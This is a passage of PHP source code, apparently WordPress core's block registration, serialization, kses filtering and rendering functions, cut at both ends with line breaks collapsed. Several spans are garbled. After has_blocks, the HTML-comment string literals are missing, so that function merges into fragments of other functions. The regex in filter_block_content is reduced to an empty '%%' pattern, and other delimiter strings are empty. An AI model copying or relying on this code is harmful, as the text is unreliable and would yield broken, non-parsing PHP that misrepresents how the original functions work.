filename must end with `block.json`. * @param array $args Optional. Array of block type arguments. Accepts any public property * of `WP_Block_Type`. See WP_Block_Type::__construct() for information * on accepted arguments. Default empty array. * @return WP_Block_Type|false The registered block type on success, or false on failure. */ function register_block_type_from_metadata( $file_or_folder, $args = array() ) { /* * Get an array of metadata from a PHP file. * This improves performance for core blocks as it's only necessary to read a single PHP file * instead of reading a JSON file per-block, and then decoding from JSON to PHP. * Using a static variable ensures that the metadata is only read once per request. */ $file_or_folder = wp_normalize_path( $file_or_folder ); $metadata_file = ( ! str_ends_with( $file_or_folder, 'block.json' ) ) ? trailingslashit( $file_or_folder ) . 'block.json' : $file_or_folder; $is_core_block = str_starts_with( $file_or_folder, wp_normalize_path( ABSPATH . WPINC ) ); $metadata_file_exists = $is_core_block || file_exists( $metadata_file ); $registry_metadata = WP_Block_Metadata_Registry::get_metadata( $file_or_folder ); if ( $registry_metadata ) { $metadata = $registry_metadata; } elseif ( $metadata_file_exists ) { $metadata = wp_json_file_decode( $metadata_file, array( 'associative' => true ) ); } else { $metadata = array(); } if ( ! is_array( $metadata ) || ( empty( $metadata['name'] ) && empty( $args['name'] ) ) ) { return false; } $metadata['file'] = $metadata_file_exists ? wp_normalize_path( realpath( $metadata_file ) ) : null; /** * Filters the metadata provided for registering a block type. * * @since 5.7.0 * * @param array $metadata Metadata for registering a block type. */ $metadata = apply_filters( 'block_type_metadata', $metadata ); // Add `style` and `editor_style` for core blocks if missing. if ( ! empty( $metadata['name'] ) && str_starts_with( $metadata['name'], 'core/' ) ) { $block_name = str_replace( 'core/', '', $metadata['name'] ); if ( ! isset( $metadata['style'] ) ) { $metadata['style'] = "wp-block-$block_name"; } if ( current_theme_supports( 'wp-block-styles' ) && wp_should_load_separate_core_block_assets() ) { $metadata['style'] = (array) $metadata['style']; $metadata['style'][] = "wp-block-{$block_name}-theme"; } if ( ! isset( $metadata['editorStyle'] ) ) { $metadata['editorStyle'] = "wp-block-{$block_name}-editor"; } } $settings = array(); $property_mappings = array( 'apiVersion' => 'api_version', 'name' => 'name', 'title' => 'title', 'category' => 'category', 'parent' => 'parent', 'ancestor' => 'ancestor', 'icon' => 'icon', 'description' => 'description', 'keywords' => 'keywords', 'attributes' => 'attributes', 'providesContext' => 'provides_context', 'usesContext' => 'uses_context', 'selectors' => 'selectors', 'supports' => 'supports', 'styles' => 'styles', 'variations' => 'variations', 'example' => 'example', 'allowedBlocks' => 'allowed_blocks', ); $textdomain = ! empty( $metadata['textdomain'] ) ? $metadata['textdomain'] : null; $i18n_schema = get_block_metadata_i18n_schema(); foreach ( $property_mappings as $key => $mapped_key ) { if ( isset( $metadata[ $key ] ) ) { $settings[ $mapped_key ] = $metadata[ $key ]; if ( $metadata_file_exists && $textdomain && isset( $i18n_schema->$key ) ) { $settings[ $mapped_key ] = translate_settings_using_i18n_schema( $i18n_schema->$key, $settings[ $key ], $textdomain ); } } } if ( ! empty( $metadata['render'] ) ) { $template_path = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . remove_block_asset_path_prefix( $metadata['render'] ) ) ); if ( $template_path ) { /** * Renders the block on the server. * * @since 6.1.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the block content. */ $settings['render_callback'] = static function ( $attributes, $content, $block ) use ( $template_path ) { ob_start(); require $template_path; return ob_get_clean(); }; } } // If `variations` is a string, it's the name of a PHP file that // generates the variations. if ( ! empty( $metadata['variations'] ) && is_string( $metadata['variations'] ) ) { $variations_path = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . remove_block_asset_path_prefix( $metadata['variations'] ) ) ); if ( $variations_path ) { /** * Generates the list of block variations. * * @since 6.7.0 * * @return string Returns the list of block variations. */ $settings['variation_callback'] = static function () use ( $variations_path ) { $variations = require $variations_path; return $variations; }; // The block instance's `variations` field is only allowed to be an array // (of known block variations). We unset it so that the block instance will // provide a getter that returns the result of the `variation_callback` instead. unset( $settings['variations'] ); } } $settings = array_merge( $settings, $args ); $script_fields = array( 'editorScript' => 'editor_script_handles', 'script' => 'script_handles', 'viewScript' => 'view_script_handles', ); foreach ( $script_fields as $metadata_field_name => $settings_field_name ) { if ( ! empty( $settings[ $metadata_field_name ] ) ) { $metadata[ $metadata_field_name ] = $settings[ $metadata_field_name ]; } if ( ! empty( $metadata[ $metadata_field_name ] ) ) { $scripts = $metadata[ $metadata_field_name ]; $processed_scripts = array(); if ( is_array( $scripts ) ) { for ( $index = 0; $index < count( $scripts ); $index++ ) { $result = register_block_script_handle( $metadata, $metadata_field_name, $index ); if ( $result ) { $processed_scripts[] = $result; } } } else { $result = register_block_script_handle( $metadata, $metadata_field_name ); if ( $result ) { $processed_scripts[] = $result; } } $settings[ $settings_field_name ] = $processed_scripts; } } $module_fields = array( 'viewScriptModule' => 'view_script_module_ids', ); foreach ( $module_fields as $metadata_field_name => $settings_field_name ) { if ( ! empty( $settings[ $metadata_field_name ] ) ) { $metadata[ $metadata_field_name ] = $settings[ $metadata_field_name ]; } if ( ! empty( $metadata[ $metadata_field_name ] ) ) { $modules = $metadata[ $metadata_field_name ]; $processed_modules = array(); if ( is_array( $modules ) ) { for ( $index = 0; $index < count( $modules ); $index++ ) { $result = register_block_script_module_id( $metadata, $metadata_field_name, $index ); if ( $result ) { $processed_modules[] = $result; } } } else { $result = register_block_script_module_id( $metadata, $metadata_field_name ); if ( $result ) { $processed_modules[] = $result; } } $settings[ $settings_field_name ] = $processed_modules; } } $style_fields = array( 'editorStyle' => 'editor_style_handles', 'style' => 'style_handles', 'viewStyle' => 'view_style_handles', ); foreach ( $style_fields as $metadata_field_name => $settings_field_name ) { if ( ! empty( $settings[ $metadata_field_name ] ) ) { $metadata[ $metadata_field_name ] = $settings[ $metadata_field_name ]; } if ( ! empty( $metadata[ $metadata_field_name ] ) ) { $styles = $metadata[ $metadata_field_name ]; $processed_styles = array(); if ( is_array( $styles ) ) { for ( $index = 0; $index < count( $styles ); $index++ ) { $result = register_block_style_handle( $metadata, $metadata_field_name, $index ); if ( $result ) { $processed_styles[] = $result; } } } else { $result = register_block_style_handle( $metadata, $metadata_field_name ); if ( $result ) { $processed_styles[] = $result; } } $settings[ $settings_field_name ] = $processed_styles; } } if ( ! empty( $metadata['blockHooks'] ) ) { /** * Map camelCased position string (from block.json) to snake_cased block type position. * * @var array */ $position_mappings = array( 'before' => 'before', 'after' => 'after', 'firstChild' => 'first_child', 'lastChild' => 'last_child', ); $settings['block_hooks'] = array(); foreach ( $metadata['blockHooks'] as $anchor_block_name => $position ) { // Avoid infinite recursion (hooking to itself). if ( $metadata['name'] === $anchor_block_name ) { _doing_it_wrong( __METHOD__, __( 'Cannot hook block to itself.' ), '6.4.0' ); continue; } if ( ! isset( $position_mappings[ $position ] ) ) { continue; } $settings['block_hooks'][ $anchor_block_name ] = $position_mappings[ $position ]; } } /** * Filters the settings determined from the block type metadata. * * @since 5.7.0 * * @param array $settings Array of determined settings for registering a block type. * @param array $metadata Metadata provided for registering a block type. */ $settings = apply_filters( 'block_type_metadata_settings', $settings, $metadata ); $metadata['name'] = ! empty( $settings['name'] ) ? $settings['name'] : $metadata['name']; return WP_Block_Type_Registry::get_instance()->register( $metadata['name'], $settings ); } /** * Registers a block type. The recommended way is to register a block type using * the metadata stored in the `block.json` file. * * @since 5.0.0 * @since 5.8.0 First parameter now accepts a path to the `block.json` file. * * @param string|WP_Block_Type $block_type Block type name including namespace, or alternatively * a path to the JSON file with metadata definition for the block, * or a path to the folder where the `block.json` file is located, * or a complete WP_Block_Type instance. * In case a WP_Block_Type is provided, the $args parameter will be ignored. * @param array $args Optional. Array of block type arguments. Accepts any public property * of `WP_Block_Type`. See WP_Block_Type::__construct() for information * on accepted arguments. Default empty array. * * @return WP_Block_Type|false The registered block type on success, or false on failure. */ function register_block_type( $block_type, $args = array() ) { if ( is_string( $block_type ) && file_exists( $block_type ) ) { return register_block_type_from_metadata( $block_type, $args ); } return WP_Block_Type_Registry::get_instance()->register( $block_type, $args ); } /** * Unregisters a block type. * * @since 5.0.0 * * @param string|WP_Block_Type $name Block type name including namespace, or alternatively * a complete WP_Block_Type instance. * @return WP_Block_Type|false The unregistered block type on success, or false on failure. */ function unregister_block_type( $name ) { return WP_Block_Type_Registry::get_instance()->unregister( $name ); } /** * Determines whether a post or content string has blocks. * * This test optimizes for performance rather than strict accuracy, detecting * the pattern of a block but not validating its structure. For strict accuracy, * you should use the block parser on post content. * * @since 5.0.0 * * @see parse_blocks() * * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. * Defaults to global $post. * @return bool Whether the post has blocks. */ function has_blocks( $post = null ) { if ( ! is_string( $post ) ) { $wp_post = get_post( $post ); if ( ! $wp_post instanceof WP_Post ) { return false; } $post = $wp_post->post_content; } return str_contains( (string) $post, '' ) + strlen( '-->' ); $end = strrpos( $serialized_block, '' ) + strlen( '-->' ); $end = strrpos( $serialized_block, '', $serialized_block_name, $serialized_attributes ); } return sprintf( '%s', $serialized_block_name, $serialized_attributes, $block_content, $serialized_block_name ); } /** * Returns the content of a block, including comment delimiters, serializing all * attributes from the given parsed block. * * This should be used when preparing a block to be saved to post content. * Prefer `render_block` when preparing a block for display. Unlike * `render_block`, this does not evaluate a block's `render_callback`, and will * instead preserve the markup as parsed. * * @since 5.3.1 * * @param array $block { * An associative array of a single parsed block object. See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array[] $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where * inner blocks were found. * } * @return string String of rendered HTML. */ function serialize_block( $block ) { $block_content = ''; $index = 0; foreach ( $block['innerContent'] as $chunk ) { $block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] ); } if ( ! is_array( $block['attrs'] ) ) { $block['attrs'] = array(); } return get_comment_delimited_block_content( $block['blockName'], $block['attrs'], $block_content ); } /** * Returns a joined string of the aggregate serialization of the given * parsed blocks. * * @since 5.3.1 * * @param array[] $blocks { * Array of block structures. * * @type array ...$0 { * An associative array of a single parsed block object. See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array[] $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where * inner blocks were found. * } * } * @return string String of rendered HTML. */ function serialize_blocks( $blocks ) { return implode( '', array_map( 'serialize_block', $blocks ) ); } /** * Traverses a parsed block tree and applies callbacks before and after serializing it. * * Recursively traverses the block and its inner blocks and applies the two callbacks provided as * arguments, the first one before serializing the block, and the second one after serializing it. * If either callback returns a string value, it will be prepended and appended to the serialized * block markup, respectively. * * The callbacks will receive a reference to the current block as their first argument, so that they * can also modify it, and the current block's parent block as second argument. Finally, the * `$pre_callback` receives the previous block, whereas the `$post_callback` receives * the next block as third argument. * * Serialized blocks are returned including comment delimiters, and with all attributes serialized. * * This function should be used when there is a need to modify the saved block, or to inject markup * into the return value. Prefer `serialize_block` when preparing a block to be saved to post content. * * This function is meant for internal use only. * * @since 6.4.0 * @access private * * @see serialize_block() * * @param array $block An associative array of a single parsed block object. See WP_Block_Parser_Block. * @param callable $pre_callback Callback to run on each block in the tree before it is traversed and serialized. * It is called with the following arguments: &$block, $parent_block, $previous_block. * Its string return value will be prepended to the serialized block markup. * @param callable $post_callback Callback to run on each block in the tree after it is traversed and serialized. * It is called with the following arguments: &$block, $parent_block, $next_block. * Its string return value will be appended to the serialized block markup. * @return string Serialized block markup. */ function traverse_and_serialize_block( $block, $pre_callback = null, $post_callback = null ) { $block_content = ''; $block_index = 0; foreach ( $block['innerContent'] as $chunk ) { if ( is_string( $chunk ) ) { $block_content .= $chunk; } else { $inner_block = $block['innerBlocks'][ $block_index ]; if ( is_callable( $pre_callback ) ) { $prev = 0 === $block_index ? null : $block['innerBlocks'][ $block_index - 1 ]; $block_content .= call_user_func_array( $pre_callback, array( &$inner_block, &$block, $prev ) ); } if ( is_callable( $post_callback ) ) { $next = count( $block['innerBlocks'] ) - 1 === $block_index ? null : $block['innerBlocks'][ $block_index + 1 ]; $post_markup = call_user_func_array( $post_callback, array( &$inner_block, &$block, $next ) ); } $block_content .= traverse_and_serialize_block( $inner_block, $pre_callback, $post_callback ); $block_content .= isset( $post_markup ) ? $post_markup : ''; ++$block_index; } } if ( ! is_array( $block['attrs'] ) ) { $block['attrs'] = array(); } return get_comment_delimited_block_content( $block['blockName'], $block['attrs'], $block_content ); } /** * Replaces patterns in a block tree with their content. * * @since 6.6.0 * * @param array $blocks An array blocks. * * @return array An array of blocks with patterns replaced by their content. */ function resolve_pattern_blocks( $blocks ) { static $inner_content; // Keep track of seen references to avoid infinite loops. static $seen_refs = array(); $i = 0; while ( $i < count( $blocks ) ) { if ( 'core/pattern' === $blocks[ $i ]['blockName'] ) { $attrs = $blocks[ $i ]['attrs']; if ( empty( $attrs['slug'] ) ) { ++$i; continue; } $slug = $attrs['slug']; if ( isset( $seen_refs[ $slug ] ) ) { // Skip recursive patterns. array_splice( $blocks, $i, 1 ); continue; } $registry = WP_Block_Patterns_Registry::get_instance(); $pattern = $registry->get_registered( $slug ); // Skip unknown patterns. if ( ! $pattern ) { ++$i; continue; } $blocks_to_insert = parse_blocks( $pattern['content'] ); $seen_refs[ $slug ] = true; $prev_inner_content = $inner_content; $inner_content = null; $blocks_to_insert = resolve_pattern_blocks( $blocks_to_insert ); $inner_content = $prev_inner_content; unset( $seen_refs[ $slug ] ); array_splice( $blocks, $i, 1, $blocks_to_insert ); // If we have inner content, we need to insert nulls in the // inner content array, otherwise serialize_blocks will skip // blocks. if ( $inner_content ) { $null_indices = array_keys( $inner_content, null, true ); $content_index = $null_indices[ $i ]; $nulls = array_fill( 0, count( $blocks_to_insert ), null ); array_splice( $inner_content, $content_index, 1, $nulls ); } // Skip inserted blocks. $i += count( $blocks_to_insert ); } else { if ( ! empty( $blocks[ $i ]['innerBlocks'] ) ) { $prev_inner_content = $inner_content; $inner_content = $blocks[ $i ]['innerContent']; $blocks[ $i ]['innerBlocks'] = resolve_pattern_blocks( $blocks[ $i ]['innerBlocks'] ); $blocks[ $i ]['innerContent'] = $inner_content; $inner_content = $prev_inner_content; } ++$i; } } return $blocks; } /** * Given an array of parsed block trees, applies callbacks before and after serializing them and * returns their concatenated output. * * Recursively traverses the blocks and their inner blocks and applies the two callbacks provided as * arguments, the first one before serializing a block, and the second one after serializing. * If either callback returns a string value, it will be prepended and appended to the serialized * block markup, respectively. * * The callbacks will receive a reference to the current block as their first argument, so that they * can also modify it, and the current block's parent block as second argument. Finally, the * `$pre_callback` receives the previous block, whereas the `$post_callback` receives * the next block as third argument. * * Serialized blocks are returned including comment delimiters, and with all attributes serialized. * * This function should be used when there is a need to modify the saved blocks, or to inject markup * into the return value. Prefer `serialize_blocks` when preparing blocks to be saved to post content. * * This function is meant for internal use only. * * @since 6.4.0 * @access private * * @see serialize_blocks() * * @param array[] $blocks An array of parsed blocks. See WP_Block_Parser_Block. * @param callable $pre_callback Callback to run on each block in the tree before it is traversed and serialized. * It is called with the following arguments: &$block, $parent_block, $previous_block. * Its string return value will be prepended to the serialized block markup. * @param callable $post_callback Callback to run on each block in the tree after it is traversed and serialized. * It is called with the following arguments: &$block, $parent_block, $next_block. * Its string return value will be appended to the serialized block markup. * @return string Serialized block markup. */ function traverse_and_serialize_blocks( $blocks, $pre_callback = null, $post_callback = null ) { $result = ''; $parent_block = null; // At the top level, there is no parent block to pass to the callbacks; yet the callbacks expect a reference. $pre_callback_is_callable = is_callable( $pre_callback ); $post_callback_is_callable = is_callable( $post_callback ); foreach ( $blocks as $index => $block ) { if ( $pre_callback_is_callable ) { $prev = 0 === $index ? null : $blocks[ $index - 1 ]; $result .= call_user_func_array( $pre_callback, array( &$block, &$parent_block, $prev ) ); } if ( $post_callback_is_callable ) { $next = count( $blocks ) - 1 === $index ? null : $blocks[ $index + 1 ]; $post_markup = call_user_func_array( $post_callback, array( &$block, &$parent_block, $next ) ); } $result .= traverse_and_serialize_block( $block, $pre_callback, $post_callback ); $result .= isset( $post_markup ) ? $post_markup : ''; } return $result; } /** * Filters and sanitizes block content to remove non-allowable HTML * from parsed block attribute values. * * @since 5.3.1 * * @param string $text Text that may contain block content. * @param array[]|string $allowed_html Optional. An array of allowed HTML elements and attributes, * or a context name such as 'post'. See wp_kses_allowed_html() * for the list of accepted context names. Default 'post'. * @param string[] $allowed_protocols Optional. Array of allowed URL protocols. * Defaults to the result of wp_allowed_protocols(). * @return string The filtered and sanitized content result. */ function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) { $result = ''; if ( str_contains( $text, '' ) ) { $text = preg_replace_callback( '%%', '_filter_block_content_callback', $text ); } $blocks = parse_blocks( $text ); foreach ( $blocks as $block ) { $block = filter_block_kses( $block, $allowed_html, $allowed_protocols ); $result .= serialize_block( $block ); } return $result; } /** * Callback used for regular expression replacement in filter_block_content(). * * @since 6.2.1 * @access private * * @param array $matches Array of preg_replace_callback matches. * @return string Replacement string. */ function _filter_block_content_callback( $matches ) { return ''; } /** * Filters and sanitizes a parsed block to remove non-allowable HTML * from block attribute values. * * @since 5.3.1 * * @param WP_Block_Parser_Block $block The parsed block object. * @param array[]|string $allowed_html An array of allowed HTML elements and attributes, * or a context name such as 'post'. See wp_kses_allowed_html() * for the list of accepted context names. * @param string[] $allowed_protocols Optional. Array of allowed URL protocols. * Defaults to the result of wp_allowed_protocols(). * @return array The filtered and sanitized block object result. */ function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) { $block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols, $block ); if ( is_array( $block['innerBlocks'] ) ) { foreach ( $block['innerBlocks'] as $i => $inner_block ) { $block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols ); } } return $block; } /** * Filters and sanitizes a parsed block attribute value to remove * non-allowable HTML. * * @since 5.3.1 * @since 6.5.5 Added the `$block_context` parameter. * * @param string[]|string $value The attribute value to filter. * @param array[]|string $allowed_html An array of allowed HTML elements and attributes, * or a context name such as 'post'. See wp_kses_allowed_html() * for the list of accepted context names. * @param string[] $allowed_protocols Optional. Array of allowed URL protocols. * Defaults to the result of wp_allowed_protocols(). * @param array $block_context Optional. The block the attribute belongs to, in parsed block array format. * @return string[]|string The filtered and sanitized result. */ function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array(), $block_context = null ) { if ( is_array( $value ) ) { foreach ( $value as $key => $inner_value ) { $filtered_key = filter_block_kses_value( $key, $allowed_html, $allowed_protocols, $block_context ); $filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols, $block_context ); if ( isset( $block_context['blockName'] ) && 'core/template-part' === $block_context['blockName'] ) { $filtered_value = filter_block_core_template_part_attributes( $filtered_value, $filtered_key, $allowed_html ); } if ( $filtered_key !== $key ) { unset( $value[ $key ] ); } $value[ $filtered_key ] = $filtered_value; } } elseif ( is_string( $value ) ) { return wp_kses( $value, $allowed_html, $allowed_protocols ); } return $value; } /** * Sanitizes the value of the Template Part block's `tagName` attribute. * * @since 6.5.5 * * @param string $attribute_value The attribute value to filter. * @param string $attribute_name The attribute name. * @param array[]|string $allowed_html An array of allowed HTML elements and attributes, * or a context name such as 'post'. See wp_kses_allowed_html() * for the list of accepted context names. * @return string The sanitized attribute value. */ function filter_block_core_template_part_attributes( $attribute_value, $attribute_name, $allowed_html ) { if ( empty( $attribute_value ) || 'tagName' !== $attribute_name ) { return $attribute_value; } if ( ! is_array( $allowed_html ) ) { $allowed_html = wp_kses_allowed_html( $allowed_html ); } return isset( $allowed_html[ $attribute_value ] ) ? $attribute_value : ''; } /** * Parses blocks out of a content string, and renders those appropriate for the excerpt. * * As the excerpt should be a small string of text relevant to the full post content, * this function renders the blocks that are most likely to contain such text. * * @since 5.0.0 * * @param string $content The content to parse. * @return string The parsed and filtered content. */ function excerpt_remove_blocks( $content ) { if ( ! has_blocks( $content ) ) { return $content; } $allowed_inner_blocks = array( // Classic blocks have their blockName set to null. null, 'core/freeform', 'core/heading', 'core/html', 'core/list', 'core/media-text', 'core/paragraph', 'core/preformatted', 'core/pullquote', 'core/quote', 'core/table', 'core/verse', ); $allowed_wrapper_blocks = array( 'core/columns', 'core/column', 'core/group', ); /** * Filters the list of blocks that can be used as wrapper blocks, allowing * excerpts to be generated from the `innerBlocks` of these wrappers. * * @since 5.8.0 * * @param string[] $allowed_wrapper_blocks The list of names of allowed wrapper blocks. */ $allowed_wrapper_blocks = apply_filters( 'excerpt_allowed_wrapper_blocks', $allowed_wrapper_blocks ); $allowed_blocks = array_merge( $allowed_inner_blocks, $allowed_wrapper_blocks ); /** * Filters the list of blocks that can contribute to the excerpt. * * If a dynamic block is added to this list, it must not generate another * excerpt, as this will cause an infinite loop to occur. * * @since 5.0.0 * * @param string[] $allowed_blocks The list of names of allowed blocks. */ $allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks ); $blocks = parse_blocks( $content ); $output = ''; foreach ( $blocks as $block ) { if ( in_array( $block['blockName'], $allowed_blocks, true ) ) { if ( ! empty( $block['innerBlocks'] ) ) { if ( in_array( $block['blockName'], $allowed_wrapper_blocks, true ) ) { $output .= _excerpt_render_inner_blocks( $block, $allowed_blocks ); continue; } // Skip the block if it has disallowed or nested inner blocks. foreach ( $block['innerBlocks'] as $inner_block ) { if ( ! in_array( $inner_block['blockName'], $allowed_inner_blocks, true ) || ! empty( $inner_block['innerBlocks'] ) ) { continue 2; } } } $output .= render_block( $block ); } } return $output; } /** * Parses footnotes markup out of a content string, * and renders those appropriate for the excerpt. * * @since 6.3.0 * * @param string $content The content to parse. * @return string The parsed and filtered content. */ function excerpt_remove_footnotes( $content ) { if ( ! str_contains( $content, 'data-fn=' ) ) { return $content; } return preg_replace( '_\s*\d+\s*_', '', $content ); } /** * Renders inner blocks from the allowed wrapper blocks * for generating an excerpt. * * @since 5.8.0 * @access private * * @param array $parsed_block The parsed block. * @param array $allowed_blocks The list of allowed inner blocks. * @return string The rendered inner blocks. */ function _excerpt_render_inner_blocks( $parsed_block, $allowed_blocks ) { $output = ''; foreach ( $parsed_block['innerBlocks'] as $inner_block ) { if ( ! in_array( $inner_block['blockName'], $allowed_blocks, true ) ) { continue; } if ( empty( $inner_block['innerBlocks'] ) ) { $output .= render_block( $inner_block ); } else { $output .= _excerpt_render_inner_blocks( $inner_block, $allowed_blocks ); } } return $output; } /** * Renders a single block into a HTML string. * * @since 5.0.0 * * @global WP_Post $post The post to edit. * * @param array $parsed_block { * An associative array of the block being rendered. See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array[] $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where * inner blocks were found. * } * @return string String of rendered HTML. */ function render_block( $parsed_block ) { global $post; $parent_block = null; /** * Allows render_block() to be short-circuited, by returning a non-null value. * * @since 5.1.0 * @since 5.9.0 The `$parent_block` parameter was added. * * @param string|null $pre_render The pre-rendered content. Default null. * @param array $parsed_block { * An associative array of the block being rendered. See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array[] $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where * inner blocks were found. * } * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block. */ $pre_render = apply_filters( 'pre_render_block', null, $parsed_block, $parent_block ); if ( ! is_null( $pre_render ) ) { return $pre_render; } $source_block = $parsed_block; /** * Filters the block being rendered in render_block(), before it's processed. * * @since 5.1.0 * @since 5.9.0 The `$parent_block` parameter was added. * * @param array $parsed_block { * An associative array of the block being rendered. See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array[] $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where * inner blocks were found. * } * @param array $source_block { * An un-modified copy of `$parsed_block`, as it appeared in the source content. * See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array[] $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where * inner blocks were found. * } * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block. */ $parsed_block = apply_filters( 'render_block_data', $parsed_block, $source_block, $parent_block ); $context = array(); if ( $post instanceof WP_Post ) { $context['postId'] = $post->ID; /* * The `postType` context is largely unnecessary server-side, since the ID * is usually sufficient on its own. That being said, since a block's * manifest is expected to be shared between the server and the client, * it should be included to consistently fulfill the expectation. */ $context['postType'] = $post->post_type; } /** * Filters the default context provided to a rendered block. * * @since 5.5.0 * @since 5.9.0 The `$parent_block` parameter was added. * * @param array $context Default context. * @param array $parsed_block { * An associative array of the block being rendered. See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array[] $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where * inner blocks were found. * } * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block. */ $context = apply_filters( 'render_block_context', $context, $parsed_block, $parent_block ); $block = new WP_Block( $parsed_block, $context ); return $block->render(); } /** * Parses blocks out of a content string. * * @since 5.0.0 * * @param string $content Post content. * @return array[] { * Array of block structures. * * @type array ...$0 { * An associative array of a single parsed block object. See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array[] $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where * inner blocks were found. * } * } */ function parse_blocks( $content ) { /** * Filter to allow plugins to replace the server-side block parser. * * @since 5.0.0 * * @param string $parser_class Name of block parser class. */ $parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' ); $parser = new $parser_class(); return $parser->parse( $content ); } /** * Parses dynamic blocks out of `post_content` and re-renders them. * * @since 5.0.0 * * @param string $content Post content. * @return string Updated post content. */ function do_blocks( $content ) { $blocks = parse_blocks( $content ); $top_level_block_count = count( $blocks ); $output = ''; /** * Parsed blocks consist of a list of top-level blocks. Those top-level * blocks may themselves contain nested inner blocks. However, every * top-level block is rendered independently, meaning there are no data * dependencies between them. * * Ideally, therefore, the parser would only need to parse one complete * top-level block at a time, render it, and move on. Unfortunately, this * is not possible with {@see \parse_blocks()} because it must parse the * entire given document at once. * * While the current implementation prevents this optimization, it’s still * possible to reduce the peak memory use when calls to `render_block()` * on those top-level blocks are memory-heavy (which many of them are). * By setting each parsed block to `NULL` after rendering it, any memory * allocated during the render will be freed and reused for the next block. * Before making this change, that memory was retained and would lead to * out-of-memory crashes for certain posts that now run with this change. */ for ( $i = 0; $i < $top_level_block_count; $i++ ) { $output .= render_block( $blocks[ $i ] ); $blocks[ $i ] = null; } // If there are blocks in this content, we shouldn't run wpautop() on it later. $priority = has_filter( 'the_content', 'wpautop' ); if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) { remove_filter( 'the_content', 'wpautop', $priority ); add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 ); } return $output; } /** * If do_blocks() needs to remove wpautop() from the `the_content` filter, this re-adds it afterwards, * for subsequent `the_content` usage. * * @since 5.0.0 * @access private * * @param string $content The post content running through this filter. * @return string The unmodified content. */ function _restore_wpautop_hook( $content ) { $current_priority = has_filter( 'the_content', '_restore_wpautop_hook' ); add_filter( 'the_content', 'wpautop', $current_priority - 1 ); remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority ); return $content; } /** * Returns the current version of the block format that the content string is using. * * If the string doesn't contain blocks, it returns 0. * * @since 5.0.0 * * @param string $content Content to test. * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise. */ function block_version( $content ) { return has_blocks( $content ) ? 1 : 0; } /** * Registers a new block style. * * @since 5.3.0 * @since 6.6.0 Added support for registering styles for multiple block types. * * @link https://developer.wordpress.org/block-editor/reference-guides/block-api/block-styles/ * * @param string|string[] $block_name Block type name including namespace or array of namespaced block type names. * @param array $style_properties Array containing the properties of the style name, label, * style_handle (name of the stylesheet to be enqueued), * inline_style (string containing the CSS to be added), * style_data (theme.json-like array to generate CSS from). * See WP_Block_Styles_Registry::register(). * @return bool True if the block style was registered with success and false otherwise. */ function register_block_style( $block_name, $style_properties ) { return WP_Block_Styles_Registry::get_instance()->register( $block_name, $style_properties ); } /** * Unregisters a block style. * * @since 5.3.0 * * @param string $block_name Block type name including namespace. * @param string $block_style_name Block style name. * @return bool True if the block style was unregistered with success and false otherwise. */ function unregister_block_style( $block_name, $block_style_name ) { return WP_Block_Styles_Registry::get_instance()->unregister( $block_name, $block_style_name ); } /** * Checks whether the current block type supports the feature requested. * * @since 5.8.0 * @since 6.4.0 The `$feature` parameter now supports a string. * * @param WP_Block_Type $block_type Block type to check for support. * @param string|array $feature Feature slug, or path to a specific feature to check support for. * @param mixed $default_value Optional. Fallback value for feature support. Default false. * @return bool Whether the feature is supported. */ function block_has_support( $block_type, $feature, $default_value = false ) { $block_support = $default_value; if ( $block_type instanceof WP_Block_Type ) { if ( is_array( $feature ) && count( $feature ) === 1 ) { $feature = $feature[0]; } if ( is_array( $feature ) ) { 